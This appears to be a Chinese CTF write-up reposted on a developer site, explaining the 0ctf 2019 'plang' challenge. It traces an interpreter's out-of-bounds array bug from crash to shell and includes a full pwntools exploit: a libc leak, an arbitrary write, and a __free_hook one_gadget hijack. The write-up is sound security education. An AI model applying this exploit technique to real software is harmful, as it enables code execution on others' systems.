内容简介:这是0ctf中的一道题目,题目提供了一个poc文件我们在ida中的字符串中能够发现如下的代码:
这是0ctf中的一道题目,题目提供了一个poc文件
var a = "This is a PoC!" System.print(a) var b = [1, 2, 3] b[0x80000000] = 0x123
我们在ida中的字符串中能够发现如下的代码:
可以看出这是一个类似于javascript的解释器。
gdb加载程序,并设置参数,程序crash了。这是因为
漏洞分析:
我们发现rcx寄存器是个非法的地址。查看代码我们发现rcx是通过rax+rdx获取的,而rax和rdx是在栈上获取的。
通过调试我们可以看到,rax是数组b的基址,rdx是数组的偏移。漏洞点就在数组存在越界读写。
为了利用该漏洞,我们需要分析清楚该js解释器的数据结构,才能来进行读写。
分析数据结构,构造如下的poc
var a = "This is a PoC!" System.print(a) var b = [1, 2, "aaaaa",[3,"ddddd"]]
Strcut obj_ptr{ long unkown; void *ptr1; void *ptr2; objbuffrer *ptr; int size; int size; }
我们在数组中声明的变量值为1和2,在堆中却为0x3ff0000000000000和0x4000000000000000,实际上是用浮点形式存储的。所以我们读写的数据都要按照浮点形式存储。
Struct objtype{ long type;//如果是double类型的为4,如果为其他类型的为5 union{ double value; obj_ptr* obj; }; } struct objstr{ int type; int padding; void* ptr1; void* ptr2; int some_val; int size; char[] contents; };
漏洞利用:
地址泄露
在分析程序的时候,我们注意到Objstr类型,有一个size位,如果利用任意地址写,将Objstr类型的size位改大,就能打印出很多地址,而后面的内存中正好有libc有关的地址。
这里有几个地方需要注意:一个是偏移的计算,一个是要将size转化成double类型。
如果我们直接打印字符串a,后面的’x00’会截断,我们通过下面的方式逐个字节读取
任意地址写
我们发现obj_ptr结构体中存在一个指针,将objbuffrer 的指针改写成我们想改写的地址即可。
Strcut obj_ptr{ long unkown; void *ptr1; void *ptr2; objbuffrer *ptr; int size; int size; }
尝试了malloc_hook和free_hook后发现有个onegadget劫持free_hook可以拿到shell。
exp:
from pwn import * import struct EXE='./plang' context.binary = EXE elf = ELF(EXE) libc=elf.libc io=process(EXE) def dbg(s=''): gdb.attach(io,s) def runscript(pay): io.sendlineafter('> ',pay) def int2double(num): return struct.pack("<d", num).encode('hex') def double2int(nstr): return (struct.unpack('d', nstr)[0]) libcoffset=0x155554f88ca0- 0x155554b9d000 heapoffset=0x555555780750-(0x5555557741b8-0x10) one_gadget=[0x4f2c5,0x4f322,0x10a38c] buf='' pay1= "var a = "aaaaaa"" pay3= "var b = [1, 2, "bbbbbb"]" pay4= "var c = [ 4 , 5]" b_addr = 0x555555788b70 a_addr = 0x555555787f20 offset=(a_addr-b_addr)/16 lens=1#int2double(0x100) pay5= "b[%d] = %d" %(offset,lens) paylist=[pay1,pay3,pay4,pay5] for i in paylist: runscript(i) slibc = (0x555555788028 - 0x555555787f30) pay1="System.print(a[%d])"%slibc pay2="System.print(a[%d])"%(slibc+1) pay3="System.print(a[%d])"%(slibc+2) pay4="System.print(a[%d])"%(slibc+3) pay5="System.print(a[%d])"%(slibc+4) pay6="System.print(a[%d])"%(slibc+5) paylist=[pay1,pay2,pay3,pay4,pay5,pay6] for i in paylist: runscript(i) buf+=io.recv(1) libcaddr=u64(buf.ljust(8,'x00')) - libcoffset print 'libcaddr:',hex(libcaddr) libc.address=libcaddr c_addr=0x555555788e10+0x20 offset=(b_addr-c_addr)/16 free_hook=libc.sym['__free_hook'] lens=double2int(p64(free_hook-8)) pay1= "c[%d] = %.330f" %(offset,lens) runscript(pay1) data=double2int(p64(libcaddr+one_gadget[1])) pay2="b[0]=%.330f"%(data) runscript(pay2) pay="var e="aaaaaaaaaa"" runscript(pay) io.interactive()
体会感受:
这道题目不同于传统的pwn堆利用的那种菜单题目,如果上来就通过ida,gdb从头分析程序,会花费大量时间和精力,难度也很大。我们从poc入手通过crash分析程序的漏洞点,理清数据结构,从而实现利用,比较接近现实中漏洞利用的过程。
参考:
以上所述就是小编给大家介绍的《从crash到getshell 0ctf2019_plang 详解》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!
猜你喜欢:- Flutter 完整开发实战详解(十六、详解自定义布局实战)
- 数据结构 1 线性表详解 链表、 栈 、 队列 结合JAVA 详解
- 详解Openstack环境准备
- Java泛型详解
- iOS RunLoop 详解
- Raft协议详解
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
大数据时代的IT架构设计
IT架构设计研究组 / 电子工业出版社 / 2014-4 / 49.00元
《大数据时代的IT架构设计》以大数据时代为背景,邀请著名企业中的一线架构师,结合工作中的实际案例展开与架构相关的讨论。《大数据时代的IT架构设计》作者来自互联网、教育、传统行业等领域,分享的案例极其实用,代表了该领域较先进的架构。无论你就职于哪一行业都可以从本书中找到相关的架构经验,对您在今后的架构设计工作中都能起到很好的帮助作用。 《大数据时代的IT架构设计》适合具备一定架构基础和架构经验......一起来看看 《大数据时代的IT架构设计》 这本书的介绍吧!